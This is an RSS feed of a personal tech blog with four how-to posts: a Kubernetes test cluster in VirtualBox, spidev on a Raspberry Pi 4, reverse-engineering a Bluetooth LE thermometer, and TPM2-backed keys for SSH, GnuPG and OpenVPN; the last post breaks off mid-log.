


















    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    
        
    

    












<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0"  xml:lang="en"  xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <atom:link href="https://www.evolware.org/rss.xml" rel="self" type="application/rss+xml"/>

        
            <copyright>© Evolware</copyright>
        

        <description>let's evolve and let the chips fall where they may</description>

        
            <language>en</language>
        

        
            <lastBuildDate>Thu, 29 Dec 2011 17:04:14 UTC</lastBuildDate>
        

        <link>https://www.evolware.org/</link>

        
            <managingEditor>info@evolware.org</managingEditor>
        

        <title>Evolware</title>

        
            <webMaster>info@evolware.org</webMaster>
        

        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<h1 id="kubeplay">Kubeplay</h1>
<p>You can find everything you need to deploy your <em>Kubernetes cluster in a VirtualBox</em> in the <a href="https://github.com/chripell/kubeplay">kubeplay repository</a>. Current pinned version of the components are:</p>
<ul>
<li>Base system: Ubuntu LTS Focal 20.04</li>
<li>Kubernetes: 1.20.5</li>
<li>CRI-O: 1.20</li>
<li>Cilium: 1.9.5</li>
</ul>
<p>The Vagrant configuration to setup a Kubernetes cluster is in the <a href="https://github.com/chripell/kubeplay/tree/master/cluster">directory cluster</a>. It uses CRI-O as a container runtime. It uses public networking, so be careful if you are not on a trusted network. You can define the network interface to bridge, the number of nodes and their IPs at the beginning of the file. In the repository version:</p>
<ul>
<li>
<p>Nodes will use interface <code>enp0s25</code> (default for Ubuntu).</p>
</li>
<li>
<p>The master has IP <code>192.168.0.50</code></p>
</li>
<li>
<p>There will be 4 workers, from <code>192.168.0.51</code> to <code>192.168.0.54</code>. This is the minimum number for running conformance tests.</p>
</li>
<li>
<p>Each node will have 2G of RAM.</p>
</li>
<li>
<p>The cluster will look for a TLS-less registry on <code>192.168.0.4</code>. This is <em>not</em> a good idea for exposed networks, however here this is just a testing cluster running inside a single machine.</p>
</li>
</ul>
<p>You need first to <code>up</code> the master:</p>
<pre><code>vagrant up master
</code></pre>
<p>because it creates some files that are needed for the nodes. It also leaves the configuration file <code>admin.conf</code> you need to reference from <code>kubectl</code> on the host (please note that <code>kubectl</code> on the host is not installed by this script). If you don&rsquo;t have other clusters, you can just copy it as the global config:</p>
<pre><code>cp admin.conf $HOME/.kube/config
</code></pre>
<h1 id="networking">Networking</h1>
<h2 id="kube-router">Kube-Router</h2>
<p>For pod networking, kube-router works out of the box:</p>
<pre><code>kubectl apply -f https://raw.githubusercontent.com/cloudnativelabs/kube-router/master/daemonset/kubeadm-kuberouter.yaml
</code></pre>
<p>It is useful to login into the kube-router pod for debugging:</p>
<pre><code>KR_POD=$(basename $(kubectl -n kube-system get pods -l k8s-app=kube-router --output name|head -n1))
kubectl -n kube-system exec -it ${KR_POD} bash
</code></pre>
<h2 id="cilium">Cilium</h2>
<p>Cilium can be quickly installed via helm, which is available also for Arch Linux. It should be installed on the machine where you are going to run <code>kubectl</code>. Here also the stable repository is added:</p>
<pre><code>helm repo add stable https://charts.helm.sh/stable
helm repo add cilium https://helm.cilium.io/
helm repo update
</code></pre>
<p>then you can install Cilium with:</p>
<pre><code>helm install cilium cilium/cilium --version 1.9.5 \
   --namespace kube-system \
   --set nodeinit.enabled=true \
   --set kubeProxyReplacement=partial \
   --set hostServices.enabled=false \
   --set externalIPs.enabled=true \
   --set nodePort.enabled=true \
   --set hostPort.enabled=true \
   --set bpf.masquerade=false \
   --set image.pullPolicy=IfNotPresent \
   --set ipam.mode=kubernetes
</code></pre>
<p>You should that cilium pods are up (there is enough one <code>cilium-operator</code> pod till there are any more workers) and coredns is not pending:</p>
<pre><code>$ kubectl -n kube-system get pods
cilium-node-init-q9l2m             1/1     Running   0          2m15s
cilium-operator-654456485c-bp9gw   1/1     Running   0          2m15s
cilium-operator-654456485c-wn5sd   0/1     Pending   0          2m15s
cilium-xz8fl                       1/1     Running   0          2m15s
coredns-74ff55c5b-klgjk            1/1     Running   0          4m30s
coredns-74ff55c5b-l6jtq            1/1     Running   0          4m30s
...
</code></pre>
<h1 id="worker-nodes">Worker Nodes</h1>
<p>Afterwards, you can spawn the worker nodes:</p>
<pre><code>vagrant up node1
vagrant up node2
vagrant up node3
vagrant up node4
</code></pre>
<h1 id="testing">Testing</h1>
<p>You can use <a href="https://github.com/vmware-tanzu/sonobuoy">sonobuoy</a> to test the cluster for conformance:</p>
<pre><code>sonobuoy run --wait --mode=certified-conformance
results=$(sonobuoy retrieve)
sonobuoy results $results
sonobuoy delete --wait
</code></pre>
<p>You should get something like:</p>
<pre><code>Plugin: e2e
Status: passed
Total: 5667
Passed: 311
Failed: 0
Skipped: 5356

Plugin: systemd-logs
Status: passed
Total: 5
Passed: 5
Failed: 0
Skipped: 0
</code></pre>
<p>You can also test Cilium:</p>
<pre><code>kubectl create ns cilium-test
kubectl apply -n cilium-test -f https://raw.githubusercontent.com/cilium/cilium/v1.9/examples/kubernetes/connectivity-check/connectivity-check.yaml
kubectl get pods -n cilium-test
</code></pre>
<p>check livelness of pods, afterwards you can just delete everything in the namespace:</p>
<pre><code>kubectl -n cilium-test delete all --all --wait
</code></pre>
<h1 id="dashboard">Dashboard</h1>
<p>A good way to view cluster status is using <a href="https://github.com/derailed/k9s">k9s</a>. Otherwise, it is possible to install the Kubernetes dashboard and access it via a Kubernetes proxy:</p>
<pre><code>kubectl apply -f https://raw.githubusercontent.com/kubernetes/dashboard/v2.0.0/aio/deploy/recommended.yaml
kubectl proxy
</code></pre>
<p>You can access the dashboard at the URL <a href="http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/">http://localhost:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/</a>, however you need to use a bearer token to authenticate. You need to create a service account named <code>admin-user</code> and bind it to the role <code>cluster-admin</code> which was created by <code>kubeadm</code> during cluster creation:</p>
<pre><code>cat &lt;&lt;EOF | kubectl apply -f -
apiVersion: v1
kind: ServiceAccount
metadata:
  name: admin-user
  namespace: kubernetes-dashboard
EOF
cat &lt;&lt;EOF | kubectl apply -f -
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: admin-user
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: cluster-admin
subjects:
- kind: ServiceAccount
  name: admin-user
  namespace: kubernetes-dashboard
EOF
</code></pre>
<p>You can get the bearer token (to be entered in the UI for the proxy above) with:</p>
<pre><code>kubectl -n kubernetes-dashboard get secret $(kubectl -n kubernetes-dashboard get sa/admin-user -o jsonpath=&quot;{.secrets[0].name}&quot;) -o go-template=&quot;{{.data.token | base64decode}}&quot;
</code></pre>
<h1 id="examples">Examples</h1>
<p>In the <a href="https://github.com/chripell/kubeplay/tree/master/examples">examples directory</a> you find various configuration files to start <em>playing</em> with the cluster. You can deploy them using <code>kubectl apply -f</code>. <a href="https://github.com/chripell/kubeplay/blob/master/examples/busybox.yaml">busybox.yaml</a> and <a href="https://github.com/chripell/kubeplay/blob/master/examples/busybox-daemon.yaml">busybox-daemon.yaml</a> start a busybox container as a single pod or a daemon set (one pod per node). You can connect to it with:</p>
<pre><code>BB_POD=$(basename $(kubectl get pods -l app=busybox1 --output name|head -n1))
kubectl exec -it ${BB_POD} sh
</code></pre>
<p>Another example is a deployment of nginx. It consist of 3 configuration files.</p>
<ul>
<li>
<p><a href="https://github.com/chripell/kubeplay/blob/master/examples/nginx-deployment.yaml">nginx-deployment.yaml</a> actually defines 2 pods running nginx, with a label <code>my-nginx</code>.</p>
</li>
<li>
<p><a href="https://github.com/chripell/kubeplay/blob/master/examples/nginx-service.yaml">nginx-service.yaml</a> defines a service which makes the previous deployment available internally to the cluster (and discoverable via Core DNS). For example, you can log to the busybox pod and access it:</p>
<pre><code>$ kubectl exec -it ${BB_POD} sh
# wget -O- my-nginx
Connecting to my-nginx (10.106.35.192:80)
writing to stdout

&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Welcome to nginx!&lt;/title&gt;
...
</code></pre>
</li>
<li>
<p><a href="https://github.com/chripell/kubeplay/blob/master/examples/nginx-service-nodeport.yaml">nginx-service-nodeport.yaml</a> is the simplest way to make the service externally available. It gets assigned to a port on the public IP address of the nodes. The main problem is that you have to preallocate ports in the range 30000 to 32768.</p>
<p>$ wget -O- http://192.168.0.50:30080/
&ndash;2021-04-04 17:32:39&ndash;  http://192.168.0.50:30080/
Connecting to 192.168.0.50:30080&hellip; connected.
HTTP request sent, awaiting response&hellip; 200 OK
&hellip;</p>
</li>
</ul>
<h1 id="deploying-a-custom-application">Deploying a custom application</h1>
<p>As a pre-work, you might need unprivileged user namespaces. For Arch Linux, you just need to follow the <a href="https://wiki.archlinux.org/index.php/Buildah">instructions on the Buildah page</a>. If you not, you will get error messages related to <code>/etc/subuid</code> and <code>/etc/subgid</code>. This allows unprivileged containers, which is a pretty cool development.</p>
<p>You need a local registry on <code>192.168.0.4</code> (configured above), and the custom images will be stored in store <code>/mnt/scratch/registry</code>. Podman in Arch Linux already has a bunch of upstream registries configured, I used the image from <code>docker.io/library/registry:2</code>.</p>
<pre><code>podman run -d --name registry -p 5000:5000 -v /mnt/scratch/registry:/mnt/scratch/registry --restart=always registry:2
</code></pre>
<p>You can verify it is running using <code>podman ps</code>.</p>
<p>All the code to be used next is in the <a href="https://github.com/chripell/kubeplay/tree/master/custom_app">custom_app directory</a>. You can run the, well commented, <a href="https://github.com/chripell/kubeplay/blob/master/custom_app/build_and_push.sh">build_and_push.sh</a> to build a statically linked Go <em>Hello World!</em> server, create a container using buildah and push it to the local registry:</p>
<pre><code>./build_and_push.sh
</code></pre>
<p>To test locally, you will need to add the IP address and port for the local, TLS-less, registry in the <code>[registries.insecure]</code> stanza of <code>/etc/containers/registries.conf</code> (and restart podman of course). You can start it with:</p>
<pre><code>podman run -d --name my-hello -p 8080:8080  --restart=always my-hello:latest
</code></pre>
<p>and check it running with <code>podman ps</code> and connecting to <code>http://localhost:8080/</code>.</p>
<p>Finally, your application can be deployed to the kubeplay cluster (via a nodeport, so you can try it by connecting to the address of a node):</p>
<pre><code>kubectl apply -f my-hello-deployment-nodeport.yaml
</code></pre>
<p>You can verify it working by connecting to port 30080 on any node.</p>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2021-04-11:2021-04-11T08:23:46Z</guid>

                
                    <link>https://www.evolware.org/2021/04/11/kubeplay-a-kubernetes-cluster-in-a-virtualbox/</link>
                

                
                    <pubDate>Sun, 11 Apr 2021 08:23:46 UTC</pubDate>
                

                
                    <title>Kubeplay: A Kubernetes cluster in a VirtualBox</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>A couple of weeks ago I finally moved my Arch Linux Arm based Raspberries to the mainline Linux kernel (<code>linux-aarch64</code>) and <code>u-boot</code>. The transition was pretty smooth with one exception: the <code>spidev</code> driver, which is needed to show rainbows (and other information) on the attached <a href="https://shop.pimoroni.com/products/display-o-tron-hat">Pimoroni Display-O-HAT</a>. Most probably, the reason of this absence is because the <code>spidev</code> driver <a href="https://stackoverflow.com/questions/53634892/linux-spidev-why-it-shouldnt-be-directly-in-devicetree">should not be declared in the Device Tree</a> according to the kernel developers.<br>
It is not rocket science, however I couldn&rsquo;t find a quick explanation about how to add a Device Tree overlay to restore the functionality. So, here we are!<br>
The first step is to create the Device Tree Overlay, check the source below, which can be put in a file <code>spidev.dts</code>. Note we are faking a particular device driven via <code>spidev</code>. Using <code>spidev</code> directly will trigger a <a href="https://elixir.bootlin.com/linux/latest/source/drivers/spi/spidev.c#L741">loudly kernel WARNING</a>. You can compile the overlay with:</p>
<pre><code>dtc -@ -Hepapr -I dts -O dtb -o spidev.dto spidev.dts
</code></pre>
<p>The content of <code>spidev.dts</code> is:</p>
<pre><code>/dts-v1/;
/plugin/;

/{
        compatible = &quot;brcm,bcm2835&quot;;
        fragment@0 {
                target-path = &quot;/soc/gpio@7e200000&quot;;
                __overlay__ {
                        spi0_pins: spi0_pins {
                                brcm,pins = &lt;0x09 0x0a 0x0b&gt;;
                                brcm,function = &lt;0x04&gt;;
                                phandle = &lt;0x0d&gt;;
                        };

                        spi0_cs_pins: spi0_cs_pins {
                                brcm,pins = &lt;0x08 0x07&gt;;
                                brcm,function = &lt;0x01&gt;;
                                phandle = &lt;0x0e&gt;;
                        };
        };
    };
        fragment@1 {
                target-path = &quot;/soc/spi@7e204000&quot;;
                __overlay__ {
             pinctrl-names = &quot;default&quot;;
             pinctrl-0 = &lt;&amp;spi0_pins &amp;spi0_cs_pins&gt;;
             cs-gpios = &lt;&amp;gpio 8 1&gt;, &lt;&amp;gpio 7 1&gt;;
             status = &quot;okay&quot;;

             spidev0: spidev@0{
                 compatible = &quot;lwn,bk4&quot;;
                 reg = &lt;0&gt;;      /* CE0 */
                 #address-cells = &lt;1&gt;;
                 #size-cells = &lt;0&gt;;
                 spi-max-frequency = &lt;125000000&gt;;
             };

             spidev1: spidev@1{
                 compatible = &quot;lwn,bk4&quot;;
                 reg = &lt;1&gt;;      /* CE1 */
                 #address-cells = &lt;1&gt;;
                 #size-cells = &lt;0&gt;;
                 spi-max-frequency = &lt;125000000&gt;;
             };
                };
        };
};
</code></pre>
<p>The next step is to change the u-boot boot script to load the overlay. This is distribution dependent, for Arch Liunx Arm it is <code>/boot/boot.txt</code>. The added lines are marked by a comment. Don&rsquo;t forget to copy <code>spidev.dto</code> to /boot/dtbs/ and to run <code>./mkscr</code>.</p>
<pre><code># After modifying, run ./mkscr

# Set root partition to the second partition of boot device
part uuid ${devtype} ${devnum}:2 uuid

setenv bootargs console=ttyS1,115200 console=tty0 root=PARTUUID=${uuid} rw rootwait smsc95xx.macaddr=&quot;${usbethaddr}&quot;

if load ${devtype} ${devnum}:${bootpart} ${kernel_addr_r} /Image; then
  if load ${devtype} ${devnum}:${bootpart} ${fdt_addr_r} /dtbs/${fdtfile}; then
    # Needed for DT Overlay
    fdt addr ${fdt_addr_r}
    fdt resize
    setexpr fdtovaddr ${fdt_addr_r} + F000
    load ${devtype} ${devnum}:${bootpart} ${fdtovaddr} /dtbs/spidev.dto &amp;&amp; fdt apply ${fdtovaddr}
    # End of DT Overlay
    if load ${devtype} ${devnum}:${bootpart} ${ramdisk_addr_r} /initramfs-linux.img; then
      booti ${kernel_addr_r} ${ramdisk_addr_r}:${filesize} ${fdt_addr_r};
    else
      booti ${kernel_addr_r} - ${fdt_addr_r};
    fi;
  fi;
fi
</code></pre>
<p>Last step, force load <code>spidev.ko</code> by creating <code>/etc/modules-load.d/spidev.conf</code>:</p>
<pre><code># For the PI hats
spidev
</code></pre>
<p>And you should be all set!</p>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2021-02-21:2021-02-21T17:40:59Z</guid>

                
                    <link>https://www.evolware.org/2021/02/21/using-spidev-with-mainline-linux-kernel-on-the-raspberry-pi-4/</link>
                

                
                    <pubDate>Sun, 21 Feb 2021 17:40:59 UTC</pubDate>
                

                
                    <title>Using spidev with mainline Linux kernel on the Raspberry Pi 4</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>This article is a brief introduction to the reverse engineering of a Bluetooth LE Temperature and Humidity sensor and data logger. This is done, according to the EU reverse engineering law, only for interoperability purposes. The device is called SensorBlue or ThermoBeacon or ORIA on Aliexpress and here is a photo of what you get:</p>
<img decoding="async" src="https://raw.githubusercontent.com/chripell/mytools/master/sensor_blue/img/SensorBlue.png" alt="SensorBlue" /> 
<p>You can download an <a href="https://play.google.com/store/apps/details?id=com.beyondtel.sensorblue">Android application</a> to get you started and test the device. Next we will see some tools useful to inspect a Bluetooth device. For reference, the MAC address of my device is <code>70:F1:00:00:0F:7B</code>.</p>
<h1 id="bluetootctl">bluetootctl</h1>
<p><code>bluetootctl</code> is a tool to gather the basic information about a Bluetooth LE device. A typical session is:</p>
<pre><code class="language-shell">[bluetooth]# power on
[bluetooth]# scan on
Discovery started
[CHG] Device 70:F1:00:00:0F:7B RSSI: -42
[CHG] Device 70:F1:00:00:0F:7B TxPower: 0
[CHG] Device 70:F1:00:00:0F:7B ManufacturerData Key: 0x0010
[CHG] Device 70:F1:00:00:0F:7B ManufacturerData Value:
  00 00 7b 0f 00 00 f1 70 f1 0b 44 01 a4 03 39 4c  ..{....p..D...9L
  09 00            
[bluetooth]# connect 70:F1:00:00:0F:7B
Attempting to connect to 70:F1:00:00:0F:7B
[CHG] Device 70:F1:00:00:0F:7B Connected: yes
Connection successful
...
[NEW] Characteristic (Handle 0xc0ee)
    /org/bluez/hci0/dev_70_F1_00_00_0F_7B/service001f/char0020
    0000fff5-0000-1000-8000-00805f9b34fb
    Unknown
[NEW] Characteristic (Handle 0xc0ee)
    /org/bluez/hci0/dev_70_F1_00_00_0F_7B/service001f/char0023
    0000fff3-0000-1000-8000-00805f9b34fb
    Unknown
...
[bluetooth]# connect 70:F1:00:00:0F:7B
Attempting to connect to 70:F1:00:00:0F:7B
[CHG] Device 70:F1:00:00:0F:7B Connected: yes
Connection successful
[CHG] Device 70:F1:00:00:0F:7B ServicesResolved: yes
[ThermoBeacon]#</code></pre>
<p>Here I copied:</p>
<ul>
<li>
<p>the advertising result, which is used for current/maximum/minimum temperature, current humidity and battery level. You can already easily spot the MAC address in the message.</p>
</li>
<li>
<p>the 2 GATT characteristics which will be used for the complete dump of the data log.</p>
</li>
</ul>
<h1 id="inspecting-the-hci-communication-on-android">Inspecting the HCI communication on Android</h1>
<p>The answers to <a href="https://stackoverflow.com/questions/28445552/bluetooth-hci-snoop-log-not-generated">this Stack Overflow question</a> describes how it is possible to capture the log of the communications on Android phone. Unfortunately, the linked <code>btsnooz.py</code> utility doesn&rsquo;t work. It is easy to fix it by looking into the repetition of the length field in the records and the limited number of packet types. I uploaded a <a href="https://github.com/chripell/mytools/blob/master/sensor_blue/btnsnooz.py">fixed version</a>.</p>
<p>The HCI log is very detailed and low level, so a bit difficult to follow. However, it is very useful to guess the right sequence of writes/reads to GATT characteristics.</p>
<h1 id="decompiling-the-android-apk">Decompiling the Android APK</h1>
<p>You need to have a rooted phone and download the App APK file. The, you can use <a href="https://github.com/skylot/jadx">jadx</a> or directly the <a href="https://www.decompiler.com/">on-line decompiler</a> to do the task. The result is not perfect, because the App is written in Kotlin and <code>jadx</code> has some problems with nested exception. However, also the JVM assembler is pretty easy to follow. The key points are:</p>
<ul>
<li>
<p>Function <code>onLeScan</code> in <code>CurrentActivity.java</code> to understand the fields in the advertisement.</p>
</li>
<li>
<p>File <code>LoggingActivity.java</code> for the whole log dump. This is a bit difficult to follow, because of the callback style: the HCI snoop log was very useful to quickly identify the program flow.</p>
</li>
</ul>
<h1 id="summary">Summary</h1>
<p>The end result is the Python program <a href="https://github.com/chripell/mytools/blob/master/sensor_blue/sensor_blue_adv.py">sensor_blue_adv.py</a> which allows you to get the current temperature/humidity or dump the whole data log from you Linux system. You need to have <code>bluez</code> and the Python package <code>dbus-next</code> installed.</p>
]]></description>
                

                <guid  isPermaLink="false" >tag:www.evolware.org,2021-01-29:2021-01-29T21:07:58Z</guid>

                
                    <link>https://www.evolware.org/2021/01/29/reverse-engineering-fun-for-just-9-33-e-shipping/</link>
                

                
                    <pubDate>Fri, 29 Jan 2021 21:07:58 UTC</pubDate>
                

                
                    <title>Reverse Engineering fun for just 9.33 € + shipping</title>
                
            </item>
        
            <item>
                
                
                
                
                
                
                
                

                

                

                

                

                
                

                

                
                    
                

                

                

                

                
                    <description><![CDATA[<p>Here I collected some notes on using the TPM2 on Linux, specifically Arch Linux. The motherboard used is an <a href="https://www.asrockrack.com/general/productdetail.jp.asp?Model=E3C222D4U#Specifications">ASRock E3C222D4U</a> with the <a href="https://www.asrock.com/mb/spec/card.asp?Model=TPM-S%20Module">ASRock TPM2</a> module.</p>
<p>This article focuses on enabling the usage of the keys stored in the TPM2 by various tools using the PKCS#11 interface. The module should be configured to allow the access to these keys only after some measurement of the state of the system is done, to guarantee that it was not tampered. This part is outside of the scope of these notes. Here the protections offered to the user are the physical possession and the requirement to enter a PIN.</p>
<p>PKCS#11 exposes N separate slots, each containing a token. We will used a separate slot/token for each application. For the basic support under Arch Linux, the following packages need to be installed: <code>tpm2-abrmd</code>,<code>tpm2-pkcs11</code>, <code>tpm2-tools</code> and <code>tpm2-tss</code>. The latest package also sets up udev rules to allow the abrmd broker daemon to access the device <code>/dev/tpm0</code>. You can test if the TPM2 module is working by printing some random characters by using its random number generator:</p>
<pre><code class="language-shell">$ tpm2_getrandom --hex 16</code></pre>
<p>Note that <code>tpm-pkcs11</code> needs to save some information on disk, I&rsquo;ve set the <code>TPM2_PKCS11_STORE</code> environment variable to a suitable directory in my <code>.bashrc</code> file.</p>
<h1 id="ssh-in-slot-1">SSH in slot 1</h1>
<p>Using the TPM2 is pretty straightforward. From here on <strong>[PIN]</strong> denotes the user PIN. Avoid saving the command lines containing it in the bash history, for example by prepending the line with a space.</p>
<pre><code class="language-shell">$ tpm2_ptool init
action: Created
id: 1
$ tpm2_ptool addtoken --pid=1 --sopin=[PIN] --userpin=[PIN] --label=ssh_token
$ tpm2_ptool addkey --algorithm=rsa2048 --label=ssh_token --key-label=ssh_token --userpin=[PIN]
action: add
private:
CKA_ID: &#039;33333334333132626661393734663161&#039;
public:
CKA_ID: &#039;33333334333132626661393734663161&#039;</code></pre>
<p>To output the public key (to be added to the <code>authorized_keys</code> file on the remote system):</p>
<pre><code class="language-shell">$ ssh-keygen -D /usr/lib/pkcs11/libtpm2_pkcs11.so
ssh-rsa AAAAB3NzaC1yc2EAAAADAQA...</code></pre>
<p>And you can connect to a system by offering the key from the TPM2:</p>
<pre><code class="language-shell">$ ssh -I /usr/lib/pkcs11/libtpm2_pkcs11.so [destination host]</code></pre>
<h1 id="gnupg-in-slot-2">GnuPG in slot 2</h1>
<p>Supporting GnuPG is more complicated. You will need <code>openssl</code> for creating a certificate from the public key and the package <code>gnupg-pkcs11-scd</code> to interface GnuPG with the TPM2 via the PKCS#11 API. Unfortunately, there is a bug at the moment in the upstream program which doesn&rsquo;t correctly inform the GnuPG agent daemon about the key padding. I prepared a <a href="https://github.com/alonbl/gnupg-pkcs11-scd/pull/23">Pull Request</a> for the upstream, until it is merged, you need to use the version from <a href="https://github.com/alonbl/gnupg-pkcs11-scd">my github repository</a>.</p>
<p>The initial part is similar to the previous case, but then you need to create a certificate from the public key to allow GnuPG to use it:</p>
<pre><code class="language-shell">$ tpm2_ptool init
action: Created
id: 2
$ tpm2_ptool addtoken --pid=2 --label=gpg_token --sopin=[PIN] --userpin=[PIN]
$ tpm2_ptool addkey --algorithm=rsa2048 --label=gpg_token --key-label=gpg_token --userpin=[PIN]
$ openssl &lt;&lt;EOF
req -engine pkcs11 -new -key pkcs11:model=rls;manufacturer=Nuvoton;serial=0000000000000000;token=gpg_token;type=private;pin-value=[PIN] -keyform engine -out req.pem -text -x509 -subj /CN=[Your Common Name]
x509 -engine pkcs11 -signkey pkcs11:model=rls;manufacturer=Nuvoton;serial=0000000000000000;token=gpg_token;type=private;pin-value=[PIN] -keyform engine -in req.pem -out cert.pem
EOF
$ tpm2_ptool addcert --label gpg_token --key-label gpg_token cert.pem</code></pre>
<p>Afterwards, we need to configure the SCD (<em>smart card driver</em>) for the GnuPG Agent which uses the PKCS#11 to work with the private key. Unfortunately, GnuPG Agent supports only a single SCD, so you cannot use both the TPM2 and a normal smart card at the same time. Also, note that the patched version of <a href="https://github.com/chripell/gnupg-pkcs11-scd">gnupg-pkcs11-scd</a> needs to be used until upstream is fixed. Two configuration files need changes:</p>
<ul>
<li>
<p><code>~/.gnupg/gpg-agent.conf</code>:
scdaemon-program /usr/bin/gnupg-pkcs11-scd</p>
</li>
<li>
<p><code>scdaemon-program /usr/bin/gnupg-pkcs11-scd</code>:
has_padding
providers tpm
provider-tpm-library /usr/lib/pkcs11/libtpm2_pkcs11.so</p>
</li>
<li>
<p>for the latter, the following debug directives might be useful if you encounter any problems:
verbose
debug-all
log-file /tmp/scd.log</p>
</li>
</ul>
<p>GnuPG Agent has to be restarted and you need to trigger a reload of the <em>smart card</em>:</p>
<pre><code class="language-shell">$ systemctl --user restart gpg-agent.service
$ gpg --card-status</code></pre>
<p>The next step consist in identifying the keygrip for the RSA keypair stored in the TPM2 module. The procedure for creating a keypair should support automatically identifying the smartcard. Unfortunately, this doesn&rsquo;t seem working, so you need to manually list the available keygrips:</p>
<pre><code class="language-shell">$ gpg-agent --server gpg-connect-agent &lt;&lt; EOF
SCD LEARN
EOF
...
gnupg-pkcs11-scd[9221]: S KEY-FRIEDNLY 01B4D88E8F24441E1773472EFAD1CFE020072CF2 /CN=[The CN you used] on gpg_tokenchan_0 ...
...</code></pre>
<p>Look for a 40 characters long string of letters and numbers after the words <code>KEY-FRIENDLY</code>. With this information you can proceed with the normal generation of a keypair using option 13 <em>Existing key</em> and entering the keygrip when prompted:</p>
<pre><code class="language-shell">$ gpg --expert --full-generate-key
...
Please select what kind of key you want:
   (1) RSA and RSA (default)
   (2) DSA and Elgamal
   (3) DSA (sign only)
   (4) RSA (sign only)
   (7) DSA (set your own capabilities)
   (8) RSA (set your own capabilities)
   (9) ECC and ECC
  (10) ECC (sign only)
  (11) ECC (set your own capabilities)
  (13) Existing key
  (14) Existing key from card
Your selection? 13
Enter the keygrip: 01B4D88E8F24441E1773472EFAD1CFE020072CF2
...</code></pre>
<p>And that&rsquo;s it, you should have a keypair based on the RSA keys in the TPM2. Please test it by encrypting/decrypting/signing some text.</p>
<h1 id="openvpn-in-slot-3">OpenVPN in slot 3</h1>
<p>OpenVPN is similar to GPG because it needs a certificate. However, usually an OpenVPN is deployed by defining a custom CA which signs the certificates. The easiest way for doing it is by using <a href="https://github.com/OpenVPN/easy-rsa">EasyRSA</a>. The set up of a CA is outside the scope of this article, there are many <a href="https://www.google.com/search?q=easyrsa+tutorial&oq=easyrsa+tutorial">good tutorials</a> to get started.</p>
<p>The initial steps are the same as the GPG case:</p>
<pre><code class="language-shell">$ tpm2_ptool init
action: Created
id: 3
$  tpm2_ptool addtoken --pid=3 --label=openvpn_token --sopin=[Your PIN] --userpin=[Your PIN]
$  tpm2_ptool addkey --algorithm=rsa2048 --label=openvpn_token --key-label=openvpn_token --userpin=[Your PIN]
action: add
private:
  CKA_ID: &#039;33313665373362353539386632666162&#039;
public:
  CKA_ID: &#039;33313665373362353539386632666162&#039;</code></pre>
<p>Afterwards, you need to create a Certificate Sign Request with <code>openssl</code> (mind the missing <code>x509</code> compared to the previous invocation of <code>openssl</code>):</p>
<pre><code class="language-shell">$  openssl req -engine pkcs11 -new -key &#039;pkcs11:model=rls;manufacturer=Nuvoton;serial=0000000000000000;token=openvpn_token;type=private;pin-value=[Your PIN]&#039; -keyform engine -out req.csr -subj /CN=chri_tpm2_1</code></pre>
<p>Customize the <em>Common Name</em> according to your needs (I used <code>chri_tpm2_1</code> to identify the client in this case)`. Now you can import and sign the CSR with EasyRSA:</p>
<pre><code class="language-shell">$  easyrsa import-req req.csr chri_tpm_1
$  easyrsa sign-req client chri_tpm_1</code></pre>
<p>and the certificate signed by your OpenVPN deployment&rsquo;s CA can be imported back into the TPM2:</p>
<pre><code class="language-shell">$ tpm2_ptool addcert --label openvpn_token --key-label openvpn_token pki/issued/chri_tpm_1.crt
action: add
cert:
  CKA_ID: &#039;33313665373362353539386632666162&#039;</code></pre>
<p>You can check with the <code>openvpn</code> command itself that the certificate is visible:</p>
<pre><code class="language-shell">$ openvpn --show-pkcs11-ids /usr/lib/pkcs11/libtpm2_pkcs11.so
Certificate
       DN:             CN=chri_tpm2_1
       Serial:         2C6524CBF1845D6A662A3E40285FCEF5
       Serialized id:  Nuvoton/rls/0000000000000000/openvpn_token/33313665373362353539386632666162</code></pre>
<p>Take note of the <code>Serialized id</code> because it needs to be used in the configuration file for the client. Here is the configuration that I use, <code>chri_tpm_1.conf</code>, as an example (look for the options starting with <em>pkcs11</em>):</p>
<pre><code>dev tun
client
remote [Your OpenVPN server] [Your OpenVPN server port] udp
&lt;ca&gt;
-----BEGIN CERTIFICATE-----
... CA certificate from EasyRSA
-----END CERTIFICATE-----
&lt;/ca&gt;
pkcs11-providers /usr/lib/pkcs11/libtpm2_pkcs11.so
pkcs11-id &amp;#039;Nuvoton/rls/0000000000000000/openvpn_token/33313665373362353539386632666162&amp;#039;
nobind
persist-key
persist-tun
remote-cert-tls server
key-direction 1
&lt;tls-auth&gt;
-----BEGIN OpenVPN Static key V1-----
... MAC Static key, recommended but not mandatory
-----END OpenVPN Static key V1-----
&lt;/tls-auth&gt;
verb 3
</code></pre>
<p>And here you can see an example of a successful connection:</p>
<pre><code class="language-shell">$ openvpn --config chri_tpm_1.conf
...
Mon Jun  1 20:42:22 2020 TLS: Initial packet from [AF_INET][your server IP:port], sid=381bca9d 47aaf107
Mon Jun  1 20:42:22 2020 VERIFY OK: depth=1, CN=[the CA for your openvpn]
Mon Jun  1 20:42:22 2020 VERIFY KU OK
Mon Jun  1 20:42:22 2020 Validating certificate extended key usage
Mon Jun  1 20:42:22 2020 ++ Certificate has EKU (str) TLS Web Server Authentication, expects TLS Web Server Authentication
Mon Jun  1 20:42:22 2020 VERIFY EKU OK
